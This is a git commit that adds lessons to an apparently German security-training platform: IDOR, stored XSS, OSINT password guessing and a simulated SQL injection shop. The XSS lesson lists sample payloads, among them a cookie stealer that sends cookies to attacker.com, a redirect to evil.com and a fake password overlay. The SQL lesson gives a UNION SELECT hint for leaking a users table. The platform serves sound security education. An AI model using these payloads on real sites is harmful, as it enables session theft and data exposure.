Add lessons

This commit is contained in:
Marius Rometsch
2026-02-08 19:47:21 +01:00
parent 0068785924
commit a439873394
52 changed files with 9049 additions and 997 deletions
+72 -17
View File
@@ -183,20 +183,20 @@ class LessonModule {
/**
* Get lesson content for rendering (without answers)
*/
getContent() {
return {
lessonKey: this.lessonKey,
title: this.config.title,
description: this.config.description,
difficultyLevel: this.config.difficultyLevel,
estimatedDuration: this.config.estimatedDuration,
steps: this.config.steps.map(step => ({
async getContent() {
// Map steps and fetch interactive data for interactive steps
const steps = await Promise.all(this.config.steps.map(async step => {
const baseStep = {
id: step.id,
type: step.type,
title: step.title,
content: step.content,
// For question steps, don't send correct answers
...(step.type === 'question' && {
content: step.content
};
// For question steps, don't send correct answers
if (step.type === 'question') {
return {
...baseStep,
questionType: step.questionType,
question: step.question,
maxPoints: step.maxPoints,
@@ -205,13 +205,30 @@ class LessonModule {
text: opt.text
// isCorrect and points are intentionally omitted
}))
}),
// For interactive steps, send component info
...(step.type === 'interactive' && {
};
}
// For interactive steps, fetch and include interactive data
if (step.type === 'interactive') {
const interactiveData = await this.getInteractiveData(step.id);
return {
...baseStep,
interactiveComponent: step.interactiveComponent,
componentProps: step.componentProps
})
})),
componentProps: step.componentProps,
interactiveData
};
}
return baseStep;
}));
return {
lessonKey: this.lessonKey,
title: this.config.title,
description: this.config.description,
difficultyLevel: this.config.difficultyLevel,
estimatedDuration: this.config.estimatedDuration,
steps,
scoring: {
maxTotalPoints: this.config.scoring?.maxTotalPoints || 100,
passingScore: this.config.scoring?.passingScore || 70
@@ -219,6 +236,44 @@ class LessonModule {
};
}
/**
* Award points for interactive component discoveries
* This method can be called by lesson modules to award points dynamically
* @param {number} participantId - Participant ID
* @param {number} eventLessonId - Event lesson ID
* @param {number} points - Points to award
* @param {string} reason - Reason for points (for tracking)
* @returns {Promise<number>} New total score
*/
async awardPoints(participantId, eventLessonId, points, reason) {
const progressQueries = require('../../src/models/queries/progress.queries');
// Get or create progress
let progress = await progressQueries.getLessonProgress(participantId, eventLessonId);
if (!progress) {
// Auto-start lesson if not started
progress = await progressQueries.startLesson(participantId, eventLessonId);
}
// Award points
const newScore = await progressQueries.updateScore(progress.id, points);
// Optionally save the discovery reason for tracking
if (reason) {
await progressQueries.saveAnswer(
progress.id,
`interactive-${Date.now()}`,
{ type: 'interactive', reason },
true,
points,
reason
);
}
return newScore;
}
/**
* Get full configuration (for debugging/admin)
*/
+259
View File
@@ -0,0 +1,259 @@
const LessonModule = require('../base/LessonModule');
/**
* IDOR (Insecure Direct Object Reference) Demo Lesson
* Demonstrates how URL parameter manipulation can expose other users' data
*/
class IDORDemoLesson extends LessonModule {
constructor(config) {
super(config);
}
/**
* Get mock user database
* @returns {Array} Mock user data
*/
getMockUsers() {
return [
{
id: 1,
name: 'System Administrator',
email: 'admin@securebank.example',
accountBalance: '$999,999.99',
accountNumber: '****0001',
lastLogin: '2026-02-08 10:00',
address: '1 Admin Tower, Capital City, USA',
phone: '(555) 000-0001',
isCurrentUser: false,
accountType: 'Administrative Account',
isHighValue: true,
adminAccess: true,
isEasterEgg: true,
easterEggType: 'admin',
bonusPoints: 25,
easterEggMessage: '🎯 Admin Account Found! You discovered the system administrator account.'
},
{
id: 42,
name: 'Douglas Adams',
email: 'dont.panic@example.com',
accountBalance: '$42,000,000.00',
accountNumber: '****4242',
lastLogin: '2026-02-07 16:45',
address: '42 Galaxy Street, Universe, Space',
phone: '(555) 424-2424',
isCurrentUser: false,
accountType: 'Millionaire Account',
isHighValue: true,
isEasterEgg: true,
easterEggType: 'millionaire',
bonusPoints: 20,
easterEggMessage: '💰 Millionaire Discovered! The answer to life, universe, and everything.'
},
{
id: 54,
name: 'Jane Smith',
email: 'jane.smith@example.com',
accountBalance: '$45,890.50',
accountNumber: '****5454',
lastLogin: '2026-02-08 08:30',
address: '456 Oak Avenue, Springfield, USA',
phone: '(555) 234-5678',
isCurrentUser: false,
accountType: 'Premium Savings',
securityLevel: 'high',
isNeighbor: true,
bonusPoints: 10
},
{
id: 55,
name: 'Max Mustermann',
email: 'max.mustermann@example.com',
accountBalance: '$2,340.75',
accountNumber: '****5555',
lastLogin: '2026-02-08 09:15',
address: '123 Main Street, Anytown, USA',
phone: '(555) 123-4567',
isCurrentUser: true,
accountType: 'Standard Checking'
},
{
id: 56,
name: 'Lisa Wagner',
email: 'lisa.w@example.com',
accountBalance: '$18,250.00',
accountNumber: '****5656',
lastLogin: '2026-02-08 07:45',
address: '789 Pine Road, Neighborhood, USA',
phone: '(555) 567-8901',
isCurrentUser: false,
accountType: 'Business Checking',
isNeighbor: true,
bonusPoints: 10
},
{
id: 67,
name: '¯\\_(ツ)_/¯',
email: 'mystery@example.com',
accountBalance: '$6,700.00',
accountNumber: '****6767',
lastLogin: '2026-01-01 00:00',
address: '¯\\_(ツ)_/¯',
phone: '¯\\_(ツ)_/¯',
isCurrentUser: false,
accountType: 'Mystery Account',
isEasterEgg: true,
easterEggType: 'shrug',
bonusPoints: 15,
easterEggMessage: '¯\\_(ツ)_/¯'
},
{
id: 100,
name: 'Diana Prince',
email: 'diana.p@example.com',
accountBalance: '$125,000.00',
accountNumber: '****1000',
lastLogin: '2026-02-08 07:00',
address: '100 Hero Boulevard, Metro City, USA',
phone: '(555) 100-0001',
isCurrentUser: false,
accountType: 'Premium Investment',
securityLevel: 'maximum'
}
];
}
/**
* Fetch user profile by ID (vulnerable simulation)
* Called via executeLessonAction endpoint
* @param {number} userId - User ID to fetch
* @returns {Object} User profile data or error
*/
async fetchUserProfile(userId, participantId, eventLessonId) {
const users = this.getMockUsers();
const requestedId = parseInt(userId);
// Find user
const user = users.find(u => u.id === requestedId);
if (!user) {
return {
success: false,
error: 'USER_NOT_FOUND',
message: 'Benutzer nicht gefunden',
statusCode: 404
};
}
// Detect unauthorized access
const isUnauthorized = !user.isCurrentUser;
// Award points for discoveries
let pointsAwarded = 0;
let discoveryMessage = null;
if (isUnauthorized && participantId && eventLessonId) {
// Award points for any IDOR discovery
pointsAwarded = 10;
// Check for easter eggs and award bonus points
if (user.isEasterEgg) {
pointsAwarded += user.bonusPoints;
discoveryMessage = user.easterEggMessage;
} else if (user.isNeighbor) {
pointsAwarded += user.bonusPoints;
}
// Award points (don't duplicate if same user accessed multiple times)
try {
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
`IDOR discovered: User ${requestedId}`);
} catch (error) {
console.error('Failed to award IDOR points:', error);
}
}
return {
success: true,
user: {
id: user.id,
name: user.name,
email: user.email,
accountBalance: user.accountBalance,
accountNumber: user.accountNumber,
lastLogin: user.lastLogin,
address: user.address,
phone: user.phone,
accountType: user.accountType,
...(user.isHighValue && { isHighValue: true }),
...(user.adminAccess && { adminAccess: true }),
...(user.securityLevel && { securityLevel: user.securityLevel })
},
isCurrentUser: user.isCurrentUser,
isUnauthorized,
pointsAwarded: pointsAwarded > 0 ? pointsAwarded : undefined,
easterEgg: user.isEasterEgg ? {
type: user.easterEggType,
message: discoveryMessage
} : undefined,
vulnerability: isUnauthorized ? {
type: 'IDOR',
severity: user.isHighValue || user.adminAccess ? 'CRITICAL' : 'HIGH',
description: '⚠️ IDOR-Schwachstelle entdeckt!',
message: `Sie sehen ${user.name}s private Daten ohne Berechtigung!`,
impact: 'Ein Angreifer kann auf sensible Informationen eines beliebigen Benutzers zugreifen, indem er einfach den userId-Parameter in der URL ändert.',
recommendation: 'Implementieren Sie ordnungsgemäße Autorisierungsprüfungen. Überprüfen Sie, ob der authentifizierte Benutzer die Berechtigung hat, auf die angeforderte Ressource zuzugreifen.',
cve: user.isHighValue ? 'Dies ist eine kritische Schwachstelle - Admin-/Hochwertkonto aufgerufen!' : null
} : null
};
}
/**
* Get interactive data for IDOR demo step
* @param {string} stepId - Step identifier
* @returns {Object} Interactive component data
*/
async getInteractiveData(stepId) {
if (stepId === 'idor-demo') {
return {
baseUrl: 'https://securebank.example/profile',
currentUserId: 55,
vulnerableParameter: 'userId',
easterEggs: [
{ id: 1, type: 'admin', found: false },
{ id: 42, type: 'millionaire', found: false },
{ id: 67, type: 'shrug', found: false },
{ id: 54, type: 'neighbor', found: false },
{ id: 56, type: 'neighbor', found: false }
],
secureApproach: {
title: 'Sichere Implementierung',
description: 'Anstelle von URL-Parametern, verwenden Sie sitzungsbasierte Authentifizierung',
example: 'GET /profile (gibt nur die Daten des authentifizierten Benutzers zurück)',
code: `
// Anfällig (IDOR):
app.get('/profile', (req, res) => {
const userId = req.query.userId; // ❌ Jeder kann dies ändern!
const user = db.getUserById(userId);
res.json(user);
});
// Sicher (Sitzungsbasiert):
app.get('/profile', authenticate, (req, res) => {
const userId = req.session.userId; // ✅ Aus verifizierter Sitzung
if (req.params.userId && req.params.userId !== userId) {
return res.status(403).json({ error: 'Forbidden' });
}
const user = db.getUserById(userId);
res.json(user);
});
`.trim()
}
};
}
return await super.getInteractiveData(stepId);
}
}
module.exports = IDORDemoLesson;
@@ -0,0 +1,236 @@
const LessonModule = require('../base/LessonModule');
/**
* Forum Script Injection Lesson
* Demonstrates stored XSS vulnerabilities in comment systems
*/
class ForumScriptInjectionLesson extends LessonModule {
constructor(config) {
super(config);
}
/**
* Detect script injection in comment content
* @param {string} content - Comment content
* @returns {boolean} True if script detected
*/
detectScriptInjection(content) {
const patterns = [
/<script[\s\S]*?>/gi,
/on\w+\s*=/gi,
/javascript:/gi,
/<iframe/gi,
/<object/gi,
/<embed/gi,
/<svg[^>]+onload/gi,
/<img[^>]+onerror/gi
];
return patterns.some(pattern => pattern.test(content));
}
/**
* Analyze injection type
* @param {string} content - Comment content
* @returns {Object} Analysis result
*/
analyzeInjection(content) {
if (/<script[\s\S]*?>/gi.test(content)) {
return {
type: 'SCRIPT_TAG',
severity: 'high',
description: 'Script tag injection detected. Can execute arbitrary JavaScript.',
example: 'Steals cookies, hijacks sessions, or redirects users.'
};
}
if (/on\w+\s*=/gi.test(content)) {
return {
type: 'EVENT_HANDLER',
severity: 'high',
description: 'Event handler injection detected. Executes code on user interaction.',
example: 'Triggers malicious code when user clicks or hovers.'
};
}
if (/javascript:/gi.test(content)) {
return {
type: 'JAVASCRIPT_PROTOCOL',
severity: 'medium',
description: 'JavaScript protocol detected. Can execute code when clicked.',
example: 'Often used in links to execute JavaScript.'
};
}
if (/<iframe/gi.test(content)) {
return {
type: 'IFRAME',
severity: 'high',
description: 'IFrame injection detected. Can embed malicious external content.',
example: 'Loads phishing pages or malware from external sources.'
};
}
if (/<img[^>]+onerror/gi.test(content)) {
return {
type: 'IMG_ONERROR',
severity: 'high',
description: 'Image error handler injection detected.',
example: 'Always executes when using invalid image source.'
};
}
return {
type: 'NONE',
severity: 'none',
description: 'No script injection detected.',
example: 'Content appears safe.'
};
}
/**
* Sanitize comment for display
* @param {string} content - Comment content
* @returns {string} Sanitized content
*/
sanitizeComment(content) {
return content
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#x27;');
}
/**
* Add a comment to the forum (simulated)
* Called via executeLessonAction endpoint
* @param {string} participantId - Participant identifier
* @param {string} author - Comment author name
* @param {string} content - Comment content
* @param {string} stepId - Step identifier
* @param {number} eventLessonId - Event lesson ID for point awards
* @returns {Object} Comment data with injection analysis
*/
async addComment(participantId, author, content, stepId, eventLessonId) {
const hasInjection = this.detectScriptInjection(content);
const analysis = this.analyzeInjection(content);
const sanitized = this.sanitizeComment(content);
// Award points based on injection type discovered
let pointsAwarded = 0;
if (hasInjection && participantId && eventLessonId) {
const pointsMap = {
'SCRIPT_TAG': 40, // Classic script tag
'EVENT_HANDLER': 35, // Event handler injection
'JAVASCRIPT_PROTOCOL': 25, // JavaScript protocol
'IFRAME': 45, // IFrame embedding
'IMG_ONERROR': 40, // Image error XSS
'NONE': 0
};
pointsAwarded = pointsMap[analysis.type] || 20;
if (pointsAwarded > 0) {
try {
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
`Stored XSS discovered: ${analysis.type}`);
} catch (error) {
console.error('Failed to award XSS points:', error);
}
}
}
return {
id: Date.now(),
author: author || 'Anonymous',
content: content,
sanitizedContent: sanitized,
timestamp: new Date().toISOString(),
hasInjection,
injectionType: analysis.type,
injectionSeverity: analysis.severity,
injectionDescription: analysis.description,
injectionExample: analysis.example,
pointsAwarded
};
}
/**
* Get interactive data for forum demo step
* @param {string} stepId - Step identifier
* @returns {Object} Interactive component data
*/
async getInteractiveData(stepId) {
if (stepId === 'forum-demo') {
return {
forumPost: {
id: 1,
title: 'Welcome to the Security Forum!',
author: 'Admin',
content: 'This is a demonstration forum for learning about stored XSS vulnerabilities. Feel free to post comments below. Try both safe comments and XSS payloads to see how the system detects them.',
timestamp: '2026-02-08T10:00:00Z'
},
initialComments: [
{
id: 1,
author: 'Alice',
content: 'Great post! Looking forward to learning about security.',
timestamp: '2026-02-08T10:05:00Z',
hasInjection: false
},
{
id: 2,
author: 'Bob',
content: 'Thanks for sharing this information.',
timestamp: '2026-02-08T10:10:00Z',
hasInjection: false
},
{
id: 3,
author: 'Charlie',
content: 'Very informative! Can\'t wait to try the demos.',
timestamp: '2026-02-08T10:15:00Z',
hasInjection: false
}
],
examplePayloads: [
{
label: 'Cookie Stealer',
author: 'Attacker',
payload: '<script>fetch(\'http://attacker.com/steal?c=\'+document.cookie)</script>',
description: 'Attempts to steal session cookies'
},
{
label: 'Redirect Attack',
author: 'Malicious User',
payload: '<script>window.location=\'http://evil.com\'</script>',
description: 'Redirects users to malicious site'
},
{
label: 'DOM Manipulation',
author: 'Hacker',
payload: '<script>document.body.innerHTML=\'<h1>Site Hacked!</h1>\'</script>',
description: 'Defaces the website'
},
{
label: 'Image Onerror XSS',
author: 'Sneaky',
payload: '<img src=x onerror="alert(\'XSS Vulnerability\')">',
description: 'Executes code via image error handler'
},
{
label: 'Phishing Overlay',
author: 'Phisher',
payload: '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><form>Password: <input type="password"></form></div>',
description: 'Creates fake login overlay'
}
]
};
}
return await super.getInteractiveData(stepId);
}
}
module.exports = ForumScriptInjectionLesson;
@@ -0,0 +1,194 @@
const LessonModule = require('../base/LessonModule');
/**
* Social Engineering Password Demo Lesson
* Demonstrates how personal information from social media leads to weak passwords
*/
class SocialEngineeringPasswordLesson extends LessonModule {
constructor(config) {
super(config);
this.correctPassword = 'bella2018';
this.attempts = new Map(); // Track attempts per participant
}
/**
* Validate password guess
* Called via executeLessonAction endpoint
* @param {string} participantId - Participant identifier
* @param {string} password - Password guess
* @param {number} eventLessonId - Event lesson ID for point awards
* @returns {Object} Validation result with German feedback
*/
async testPassword(participantId, password, eventLessonId) {
// Initialize attempt counter for this participant
if (!this.attempts.has(participantId)) {
this.attempts.set(participantId, 0);
}
const attemptCount = this.attempts.get(participantId) + 1;
this.attempts.set(participantId, attemptCount);
// Normalize input (case-insensitive, trim whitespace)
const normalizedInput = (password || '').toLowerCase().trim();
const isCorrect = normalizedInput === this.correctPassword;
// Award points for cracking the password
let pointsAwarded = 0;
if (isCorrect && participantId && eventLessonId) {
// Award bonus points based on attempts (fewer attempts = more points)
if (attemptCount <= 3) {
pointsAwarded = 60; // Expert: found quickly
} else if (attemptCount <= 5) {
pointsAwarded = 50; // Good: found with minimal hints
} else if (attemptCount <= 8) {
pointsAwarded = 40; // Average: needed some hints
} else {
pointsAwarded = 30; // Struggled: needed all hints
}
try {
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
`Password cracked in ${attemptCount} attempts`);
} catch (error) {
console.error('Failed to award password points:', error);
}
}
// Progressive hints based on attempt count
let hint = null;
if (!isCorrect) {
if (attemptCount >= 8) {
hint = 'Tipp: Manche nutzer fügennoch ein Sonderzeichen an ihr schwaches Passwort (.,?,!,_)';
} else if (attemptCount >= 5) {
hint = 'Tipp: Kombinieren Sie den Namen des Hundes mit der Jahreszahl aus den Posts';
} else if (attemptCount >= 3) {
hint = 'Tipp: Achten Sie auf persönliche Details in den Social-Media-Posts';
}
}
return {
success: isCorrect,
attemptCount,
pointsAwarded,
message: isCorrect
? 'Passwort korrekt! Sie haben die Schwachstelle erfolgreich identifiziert.'
: 'Passwort falsch. Versuchen Sie es erneut.',
hint,
explanation: isCorrect
? 'Das Passwort "bella2018!" kombiniert den Hundenamen (Bella) mit dem Geburtsjahr der Zwillinge (2018). Dies ist ein häufiges und unsicheres Passwort-Muster, da diese Informationen leicht aus Social-Media-Profilen zu finden sind.'
: null,
securityTip: isCorrect
? 'Verwenden Sie niemals persönliche Informationen wie Haustiernamen, Geburtsdaten oder Namen von Familienmitgliedern in Passwörtern. Nutzen Sie stattdessen einen Passwort-Manager mit generierten Zufallspasswörtern.'
: null
};
}
/**
* Reset attempts for a participant (when using hint system)
* @param {string} participantId - Participant identifier
*/
resetAttempts(participantId) {
this.attempts.delete(participantId);
}
/**
* Get interactive data for social media demo step
* @param {string} stepId - Step identifier
* @returns {Object} Interactive component data
*/
async getInteractiveData(stepId) {
if (stepId === 'social-media-demo') {
return {
profile: {
name: 'Sophia Müller',
username: '@sophia.mueller',
bio: 'Mutter von Zwillingen 👶👶 | Hundeliebhaberin 🐕 | Fotografin 📸',
location: 'München, Deutschland',
joined: 'März 2016',
profileImage: '👤', // Placeholder emoji
followers: 342,
following: 198,
posts: [
{
id: 1,
type: 'photo',
caption: 'Unsere Zwillinge sind heute 6 Jahre alt geworden! 🎂🎉 Die Zeit vergeht so schnell! #2018Babies #Zwillinge #Geburtstag #StolzeMama',
imageDescription: '[Foto: Zwei Kinder vor einem Geburtstagskuchen mit "6" Kerzen, Dekoration zeigt "2018"]',
date: '2024-09-15',
likes: 89,
comments: 24,
timestamp: 'vor 5 Monaten'
},
{
id: 2,
type: 'photo',
caption: 'Bella liebt den Herbst! 🍂🐕 Unser Golden Retriever hat so viel Spaß beim Spielen in den Blättern. #BellaTheDog #GoldenRetriever #Herbstspaß #Hundeliebe',
imageDescription: '[Foto: Golden Retriever namens Bella spielt in Herbstlaub]',
date: '2024-10-12',
likes: 156,
comments: 31,
timestamp: 'vor 4 Monaten'
},
{
id: 3,
type: 'text',
content: 'Bella ist jetzt seit 8 Jahren meine beste Freundin ❤️🐾 Kann mir ein Leben ohne sie nicht mehr vorstellen!',
date: '2023-11-20',
likes: 203,
comments: 45,
timestamp: 'vor 1 Jahr'
},
{
id: 4,
type: 'photo',
caption: 'Familienausflug zum Starnberger See! ⛵️ Die Zwillinge lieben es hier. Bella auch! 🌊 #FamilyTime #Bayern #Wochenende',
imageDescription: '[Foto: Familie am See, zwei Kinder und ein Hund]',
date: '2024-07-22',
likes: 124,
comments: 18,
timestamp: 'vor 7 Monaten'
},
{
id: 5,
type: 'photo',
caption: 'Erster Schultag für Emma und Liam! 📚✏️ Meine Babys werden so groß! #Einschulung #Zwillinge #ProudMom',
imageDescription: '[Foto: Zwei Kinder mit Schultüten vor einer Schule]',
date: '2024-09-10',
likes: 267,
comments: 52,
timestamp: 'vor 5 Monaten'
}
]
},
loginForm: {
username: 'sophia.mueller@email.de',
correctPassword: 'bella2018!',
passwordHint: 'Versuchen Sie, das Passwort aus den Informationen im Profil zu erraten...',
hints: [
'Achten Sie auf Namen und Jahreszahlen in den Posts',
'Viele Menschen verwenden Namen von Haustieren in Passwörtern',
'Kombinationen aus Namen und Jahreszahlen sind häufig'
]
},
securityLessons: [
{
title: 'Offensichtliche Informationen',
description: 'Hundename (Bella) und Geburtsjahr der Kinder (2018) sind öffentlich sichtbar'
},
{
title: 'Vorhersagbares Muster',
description: 'Name + Jahreszahl ist ein sehr häufiges Passwort-Muster'
},
{
title: 'OSINT Risiko',
description: 'Open Source Intelligence (OSINT) ermöglicht das Sammeln solcher Informationen'
}
]
};
}
return await super.getInteractiveData(stepId);
}
}
module.exports = SocialEngineeringPasswordLesson;
@@ -1,10 +1,95 @@
const LessonModule = require('../base/LessonModule');
const progressQueries = require('../../../src/models/queries/progress.queries');
/**
* Beginner-Friendly SQL Injection Shop Lesson
* Simplified to 3 progressive challenges with helpful hints
*
* Activity data structure:
* {
* discoveries: ['GENERIC', 'BYPASS_FILTER', 'UNION_SELECT'],
* timerStart: timestamp,
* unionHintShown: boolean
* }
*/
class SQLInjectionShopLesson extends LessonModule {
constructor(config) {
super(config);
}
/**
* Get activity data from database
*/
async _getActivityData(participantId, eventLessonId) {
try {
const data = await progressQueries.getActivityData(participantId, eventLessonId);
console.log(`[SQL Injection] Loading activity data for participant ${participantId}, event ${eventLessonId}:`, data);
return {
discoveries: data.discoveries || [],
timerStart: data.timerStart || null,
unionHintShown: data.unionHintShown || false
};
} catch (error) {
console.error('[SQL Injection] Error loading activity data:', error);
return {
discoveries: [],
timerStart: null,
unionHintShown: false
};
}
}
/**
* Save activity data to database
*/
async _saveActivityData(participantId, eventLessonId, activityData) {
try {
console.log(`[SQL Injection] Saving activity data for participant ${participantId}, event ${eventLessonId}:`, activityData);
await progressQueries.updateActivityData(participantId, eventLessonId, activityData);
console.log('[SQL Injection] Activity data saved successfully');
} catch (error) {
console.error('[SQL Injection] Error saving activity data:', error);
throw error; // Re-throw to see the error in the main flow
}
}
/**
* Start challenge timer
*/
async startTimer(participantId, eventLessonId) {
const activityData = await this._getActivityData(participantId, eventLessonId);
if (!activityData.timerStart) {
activityData.timerStart = Date.now();
await this._saveActivityData(participantId, eventLessonId, activityData);
}
const discoveries = new Set(activityData.discoveries);
const totalDiscoveries = 3;
return {
started: true,
duration: 600, // 10 minutes in seconds
message: 'Timer gestartet! Du hast 10 Minuten Zeit.',
discoveries: {
found: discoveries.size,
total: totalDiscoveries,
types: Array.from(discoveries)
},
unionHintShown: activityData.unionHintShown
};
}
/**
* Get elapsed time for participant
*/
async _getElapsedTime(participantId, eventLessonId) {
const activityData = await this._getActivityData(participantId, eventLessonId);
const start = activityData.timerStart;
if (!start) return 0;
return Math.floor((Date.now() - start) / 1000);
}
// Mock database with products
getMockDatabase() {
return {
@@ -13,25 +98,18 @@ class SQLInjectionShopLesson extends LessonModule {
{ id: 2, name: 'Wireless Mouse', price: 29.99, category: 'Accessories', stock: 50 },
{ id: 3, name: 'USB-C Cable', price: 12.99, category: 'Accessories', stock: 100 },
{ id: 4, name: 'Gaming Keyboard', price: 89.99, category: 'Electronics', stock: 25 },
{ id: 5, name: 'Monitor 27"', price: 349.99, category: 'Electronics', stock: 20 },
{ id: 6, name: 'Webcam HD', price: 79.99, category: 'Electronics', stock: 30 },
{ id: 7, name: 'Desk Lamp', price: 34.99, category: 'Office', stock: 40 },
{ id: 8, name: 'Notebook Set', price: 15.99, category: 'Office', stock: 60 }
{ id: 5, name: 'Monitor 27"', price: 349.99, category: 'Electronics', stock: 20 }
],
users: [
{ id: 1, username: 'admin', password: 'hashed_admin_password', role: 'admin' },
{ id: 2, username: 'john_doe', password: 'hashed_user_password', role: 'customer' },
{ id: 3, username: 'jane_smith', password: 'hashed_user_password', role: 'customer' }
],
orders: [
{ id: 1, user_id: 2, total: 1329.98, status: 'shipped' },
{ id: 2, user_id: 3, total: 89.99, status: 'processing' }
]
};
}
// Simulate vulnerable SQL query
executeVulnerableQuery(searchTerm) {
async executeVulnerableQuery(searchTerm, participantId, eventLessonId) {
const db = this.getMockDatabase();
// Build the "vulnerable" query string for educational display
@@ -43,29 +121,84 @@ class SQLInjectionShopLesson extends LessonModule {
let results = [];
let injectionType = null;
let explanation = '';
let pointsAwarded = 0;
let isNewDiscovery = false;
let unionHintMessage = null;
// Load activity data from database
const activityData = await this._getActivityData(participantId, eventLessonId);
const discoveries = new Set(activityData.discoveries);
console.log(`[SQL Injection] Current discoveries:`, Array.from(discoveries));
if (injectionDetected) {
const injectionInfo = this.analyzeInjection(searchTerm);
injectionType = injectionInfo.type;
explanation = injectionInfo.explanation;
console.log(`[SQL Injection] Injection detected: ${injectionType}`);
// Check if this is a new discovery
isNewDiscovery = !discoveries.has(injectionType);
console.log(`[SQL Injection] Is new discovery: ${isNewDiscovery}`);
// Award points only for NEW discoveries
if (isNewDiscovery && participantId && eventLessonId) {
console.log(`[SQL Injection] Awarding points for new discovery: ${injectionType}`);
const pointsMap = {
'GENERIC': 30, // Challenge 1: Discovering injection is possible
'BYPASS_FILTER': 40, // Challenge 2: Showing all products
'UNION_SELECT': 80 // Challenge 3: Extracting user data (Easter egg!)
};
pointsAwarded = pointsMap[injectionType] || 0;
// Time bonus
const elapsedTime = await this._getElapsedTime(participantId, eventLessonId);
if (elapsedTime > 0 && elapsedTime < 600) {
const timeBonus = Math.max(0, Math.floor((600 - elapsedTime) / 60));
if (timeBonus > 0) {
pointsAwarded += timeBonus;
explanation += ` 🎯 Zeit-Bonus: +${timeBonus} Punkte!`;
}
}
try {
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
`SQL Injection discovered: ${injectionType}`);
// Mark as discovered and save to database
discoveries.add(injectionType);
activityData.discoveries = Array.from(discoveries);
await this._saveActivityData(participantId, eventLessonId, activityData);
// Show UNION hint after completing challenge 2
if (injectionType === 'BYPASS_FILTER' && !activityData.unionHintShown) {
activityData.unionHintShown = true;
await this._saveActivityData(participantId, eventLessonId, activityData);
unionHintMessage = {
title: '🎯 Neue Herausforderung freigeschaltet!',
content: 'Du kannst jetzt versuchen, Daten aus anderen Tabellen zu extrahieren! Die Datenbank hat eine "users" Tabelle mit den Spalten: id, username, password, role. Verwende UNION SELECT um diese Daten zu kombinieren. Die Anzahl der Spalten muss übereinstimmen (5 Spalten).',
hint: "Versuche: ' UNION SELECT id, username, password, role, 'X' FROM users--"
};
}
} catch (error) {
console.error('Failed to award SQL injection points:', error);
}
}
// Simulate different injection results
if (injectionInfo.type === 'OR_ALWAYS_TRUE') {
// Return all products (simulating OR '1'='1')
if (injectionInfo.type === 'BYPASS_FILTER') {
// Return all products
results = db.products;
} else if (injectionInfo.type === 'UNION_SELECT') {
// Simulate UNION attack showing user data
results = [
{ id: 'INJECTED', name: 'admin', price: 'hashed_admin_password', category: 'LEAKED DATA', stock: 'admin' },
{ id: 'INJECTED', name: 'john_doe', price: 'hashed_user_password', category: 'LEAKED DATA', stock: 'customer' },
{ id: 'INJECTED', name: 'jane_smith', price: 'hashed_user_password', category: 'LEAKED DATA', stock: 'customer' }
{ id: 'USER', name: 'admin', price: 'hashed_admin_password', category: 'admin', stock: 'LEAKED!' },
{ id: 'USER', name: 'john_doe', price: 'hashed_user_password', category: 'customer', stock: 'LEAKED!' },
{ id: 'USER', name: 'jane_smith', price: 'hashed_user_password', category: 'customer', stock: 'LEAKED!' }
];
} else if (injectionInfo.type === 'DROP_TABLE') {
// Simulate destructive command
results = [];
explanation += ' In a real scenario, this could delete the entire products table!';
} else if (injectionInfo.type === 'COMMENT_INJECTION') {
// Bypass rest of query
} else if (injectionInfo.type === 'GENERIC') {
// Generic injection - show it affects the query
results = db.products;
}
} else {
@@ -75,13 +208,25 @@ class SQLInjectionShopLesson extends LessonModule {
);
}
const totalDiscoveries = 3; // Only 3 challenges now
const elapsedTime = await this._getElapsedTime(participantId, eventLessonId);
return {
query: vulnerableQuery,
results,
injectionDetected,
injectionType,
explanation,
recordCount: results.length
recordCount: results.length,
pointsAwarded: isNewDiscovery ? pointsAwarded : 0,
isNewDiscovery,
unionHintMessage,
discoveries: {
found: discoveries.size,
total: totalDiscoveries,
types: Array.from(discoveries)
},
elapsedTime
};
}
@@ -89,14 +234,8 @@ class SQLInjectionShopLesson extends LessonModule {
detectInjection(input) {
const injectionPatterns = [
/'/, // Single quote
/--/, // SQL comment
/;/, // Statement separator
/union/i, // UNION keyword
/select/i, // SELECT keyword
/drop/i, // DROP keyword
/insert/i, // INSERT keyword
/update/i, // UPDATE keyword
/delete/i, // DELETE keyword
/or\s+['"]?\d+['"]?\s*=\s*['"]?\d+['"]?/i // OR 1=1 pattern
];
@@ -107,47 +246,37 @@ class SQLInjectionShopLesson extends LessonModule {
analyzeInjection(input) {
const lowerInput = input.toLowerCase();
if (lowerInput.includes('union') && lowerInput.includes('select')) {
// Challenge 3: UNION SELECT (most advanced)
// Must include UNION SELECT FROM users/user to be valid
if (lowerInput.includes('union') && lowerInput.includes('select') &&
lowerInput.includes('from') && (lowerInput.includes('users') || lowerInput.includes('user'))) {
return {
type: 'UNION_SELECT',
explanation: '⚠️ UNION SELECT injection detected! This technique combines results from multiple tables, potentially exposing sensitive data like usernames and passwords.'
};
}
if (lowerInput.includes('drop')) {
return {
type: 'DROP_TABLE',
explanation: '🚨 DROP TABLE injection detected! This is a destructive attack that could delete entire database tables. Critical data loss would occur!'
explanation: '🎉 Perfekt! UNION SELECT Injection erfolgreich! Du hast Daten aus der users-Tabelle extrahiert. **Challenge 3 abgeschlossen!** ⭐'
};
}
// Challenge 2: Bypass filter to show all products
if (lowerInput.includes("'") && (lowerInput.includes('or') || lowerInput.includes('||'))) {
if (lowerInput.match(/or\s+['"]?\d+['"]?\s*=\s*['"]?\d+['"]?/)) {
return {
type: 'OR_ALWAYS_TRUE',
explanation: "⚠️ OR injection detected! The condition '1'='1' is always true, bypassing the intended filter and returning ALL records."
type: 'BYPASS_FILTER',
explanation: "✅ Super! Die Bedingung '1'='1' ist immer wahr und umgeht den Filter. Jetzt werden ALLE Produkte angezeigt. **Challenge 2 abgeschlossen!**"
};
}
}
if (lowerInput.includes('--') || lowerInput.includes('#')) {
// Challenge 1: Generic injection - just discovered manipulation is possible
if (lowerInput.includes("'")) {
return {
type: 'COMMENT_INJECTION',
explanation: '⚠️ Comment injection detected! The -- sequence comments out the rest of the SQL query, potentially bypassing security checks.'
type: 'GENERIC',
